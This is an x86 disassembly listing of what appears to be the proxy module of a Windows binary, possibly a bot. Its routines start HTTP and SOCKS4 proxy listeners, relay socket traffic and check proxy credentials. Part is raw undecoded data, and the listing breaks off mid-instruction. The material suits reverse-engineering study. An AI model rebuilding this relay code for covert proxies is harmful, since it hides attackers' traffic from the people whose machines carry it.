sub_42ACB0 proc near ; CODE XREF: sub_4018EDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42ACB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F15C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42ACB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AD20: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402126 test byte ptr [esp+8], 1 jz short loc_42AD38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42AD38: ; CODE XREF: ___:0042AD2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD50 proc near ; CODE XREF: sub_402126j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43F15C cmp eax, 0FFFFFFFFh jz short loc_42AD6B push eax nop call near ptr 71AB9639h loc_42AD6B: ; CODE XREF: sub_42AD50+12j mov ecx, esi call sub_4017A8 pop esi retn sub_42AD50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD90 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AD90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_42ADB3: ; CODE XREF: sub_42AD90+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42ADDA mov ecx, [edi+3Bh] push ecx call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_42ADB3 loc_42ADDA: ; CODE XREF: sub_42AD90+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_42AEAC push ebp push esi loc_42ADF0: ; CODE XREF: sub_42AD90+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_42AE8B test ebp, ebp jz short loc_42AE8B push 0C3h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_42AE36 mov ecx, eax call sub_401893 mov esi, eax jmp short loc_42AE38 ; --------------------------------------------------------------------------- loc_42AE36: ; CODE XREF: sub_42AD90+99j xor esi, esi loc_42AE38: ; CODE XREF: sub_42AD90+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FDC mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013DE jmp short loc_42AE96 ; --------------------------------------------------------------------------- loc_42AE8B: ; CODE XREF: sub_42AD90+74j ; sub_42AD90+7Cj push 0FAh nop call near ptr 2850369h loc_42AE96: ; CODE XREF: sub_42AD90+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_42ADF0 pop esi pop ebp loc_42AEAC: ; CODE XREF: sub_42AD90+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_42AEBE push edi nop call near ptr 71AB9639h loc_42AEBE: ; CODE XREF: sub_42AD90+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_42AD90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF20 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_42AF48 call sub_4017EE push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_42AF53 ; --------------------------------------------------------------------------- loc_42AF48: ; CODE XREF: sub_42AF20+19j call sub_4017EE push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_42AF53: ; CODE XREF: sub_42AF20+26j mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017EE push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch pop edi pop esi pop ebx retn sub_42AF20 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AFF0 proc near ; CODE XREF: sub_40213Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AFF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F16C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42AFF0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B060: ; CODE XREF: ___:0040187Fj ; ___:loc_401B18j push esi mov esi, ecx call sub_401FA5 test byte ptr [esp+8], 1 jz short loc_42B078 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B078: ; CODE XREF: ___:0042B06Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B090 proc near ; CODE XREF: sub_401FA5j jmp sub_4017A8 sub_42B090 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0B0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_511CA4 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B0F1 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B0F1: ; CODE XREF: sub_42B0B0+27j cmp [esp+830h+var_81D], 4 jnz loc_42B2DC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B12E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B0B0+64j cmp [esp+830h+var_807], 1 jnz loc_42B2DC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx call near ptr 71AB3B91h nop mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_42B1C9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call near ptr 71AB428Ah nop mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_511CAC lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_42B226: ; CODE XREF: sub_42B0B0+1AFj ; sub_42B0B0+1FEj ... mov edi, dword_511CA4 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_42B2CA jge short loc_42B261 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B261 push 0Ah call near ptr 2850369h nop jmp short loc_42B226 ; --------------------------------------------------------------------------- loc_42B261: ; CODE XREF: sub_42B0B0+198j ; sub_42B0B0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_42B2CA jge short loc_42B2B3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B2B3 push 0Ah nop call near ptr 2850369h jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j ; sub_42B0B0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2CA: ; CODE XREF: sub_42B0B0+192j ; sub_42B0B0+1E5j mov eax, [ebp+0A1h] mov esi, dword_511C9C push eax call esi ; closesocket push ebx call esi ; closesocket loc_42B2DC: ; CODE XREF: sub_42B0B0+46j ; sub_42B0B0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_42B0B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B380 proc near ; CODE XREF: sub_40218Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B380 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F17C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B380 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C4E test [esp+4+arg_0], 1 jz short loc_42B408 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B408: ; CODE XREF: sub_42B3F0+Dj mov eax, esi pop esi retn 4 sub_42B3F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B420 proc near ; CODE XREF: sub_401C4Ej jmp sub_4017A8 sub_42B420 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B440 proc near ; CODE XREF: sub_40189Dj var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B440 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017EE push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42B649 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax call near ptr 71AB2B66h nop mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42B516 mov ecx, [esi+9Dh] push ecx call near ptr 71AB9639h nop pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B516: ; CODE XREF: sub_42B440+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42B600 loc_42B52C: ; CODE XREF: sub_42B440+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42B550 push 0FAh nop call near ptr 2850369h jmp loc_42B5EC ; --------------------------------------------------------------------------- loc_42B550: ; CODE XREF: sub_42B440+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42B600 xor edi, edi cmp ebp, edi jz loc_42B600 push 0A5h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B59E mov ecx, eax call sub_40213A mov edi, eax loc_42B59E: ; CODE XREF: sub_42B440+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FDC mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42B5EC: ; CODE XREF: sub_42B440+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B52C loc_42B600: ; CODE XREF: sub_42B440+E6j ; sub_42B440+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42B614 push eax call near ptr 71AB9639h nop loc_42B614: ; CODE XREF: sub_42B440+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017EE push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch loc_42B649: ; CODE XREF: sub_42B440+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B440 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6F0 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42B711 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42B711: ; CODE XREF: sub_42B6F0+Dj xor al, al retn 8 sub_42B6F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B730 proc near ; CODE XREF: sub_4020E0j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42B751: ; CODE XREF: sub_42B730+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B76A: ; CODE XREF: sub_42B730+45j cmp [ecx], ebx jz short loc_42B777 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B76A loc_42B777: ; CODE XREF: sub_42B730+3Cj cmp eax, 1 jnz short loc_42B788 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42B788: ; CODE XREF: sub_42B730+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 call near ptr 71AB2DC0h nop test eax, eax jbe short loc_42B813 cmp eax, 0FFFFFFFFh jz short loc_42B813 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42B7BC mov eax, ebp mov ebp, ebx jmp short loc_42B7BE ; --------------------------------------------------------------------------- loc_42B7BC: ; CODE XREF: sub_42B730+84j mov eax, ebx loc_42B7BE: ; CODE XREF: sub_42B730+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42B862 test edi, edi jz short loc_42B862 jbe short loc_42B80C loc_42B7EB: ; CODE XREF: sub_42B730+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42B862 add esi, eax cmp esi, edi jb short loc_42B7EB loc_42B80C: ; CODE XREF: sub_42B730+B9j mov ebp, [esp+51Ch+arg_0] loc_42B813: ; CODE XREF: sub_42B730+70j ; sub_42B730+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B825: ; CODE XREF: sub_42B730+100j cmp [ecx], ebx jz short loc_42B832 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B825 loc_42B832: ; CODE XREF: sub_42B730+F7j cmp eax, 1 jnz short loc_42B844 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42B844: ; CODE XREF: sub_42B730+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 call near ptr 71AB2DC0h nop test eax, eax jle loc_42B751 loc_42B862: ; CODE XREF: sub_42B730+B3j ; sub_42B730+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42B730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B8E0 proc near ; CODE XREF: sub_401C30j var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42B97F dec eax jz short loc_42B92A dec eax jnz loc_42BA72 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42B92A: ; CODE XREF: sub_42B8E0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_401758 test al, al jz loc_42BA72 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42B99B ; --------------------------------------------------------------------------- loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj mov ebx, dword_511C3C push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42BA72 cmp eax, 0FFFFFFFFh jnz loc_42BA72 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_511C68 push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi call near ptr 71AB3E00h nop test eax, eax jnz short loc_42BA72 loc_42B9F9: ; CODE XREF: sub_42B8E0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42BA56 cmp esi, 0FFFFFFFFh jnz short loc_42B9F9 loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj mov esi, dword_511C9C push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42BA72: ; CODE XREF: sub_42B8E0+35j ; sub_42B8E0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42B8E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42BDBA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42BED6 mov edi, dword_511C94 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42BF63 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_438256 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 8BE85600h dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42BDBA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017EE mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42BCEF test al, al jz short loc_42BCEB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42BCEF add ecx, 2 add edi, 2 test al, al jnz short loc_42BCCB loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j xor eax, eax jmp short loc_42BCF4 ; --------------------------------------------------------------------------- loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j ; sub_42BB00+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj test eax, eax jz short loc_42BD51 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017EE lea edi, [esp+83Ch+var_100] loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42BD32 test cl, cl jz short loc_42BD2E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42BD32 add edi, 2 add eax, 2 test cl, cl jnz short loc_42BD0E loc_42BD2E: ; CODE XREF: sub_42BB00+218j xor eax, eax jmp short loc_42BD37 ; --------------------------------------------------------------------------- loc_42BD32: ; CODE XREF: sub_42BB00+214j ; sub_42BB00+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BD37: ; CODE XREF: sub_42BB00+230j test eax, eax jz short loc_42BD51 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BD51: ; CODE XREF: sub_42BB00+1F6j ; sub_42BB00+239j mov edi, dword_511CA0 push 0 push 2 push offset dword_4472F4 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call near ptr 71AB2DC0h nop lea edx, [esp+83Ch+var_80C] push edx push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42BDBA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42BE21 sub eax, 2 jz short loc_42BDC9 dec eax loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj jnz short loc_42BE30 loc_42BDBA: ; CODE XREF: sub_42BB00+32j ; sub_42BB00+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr 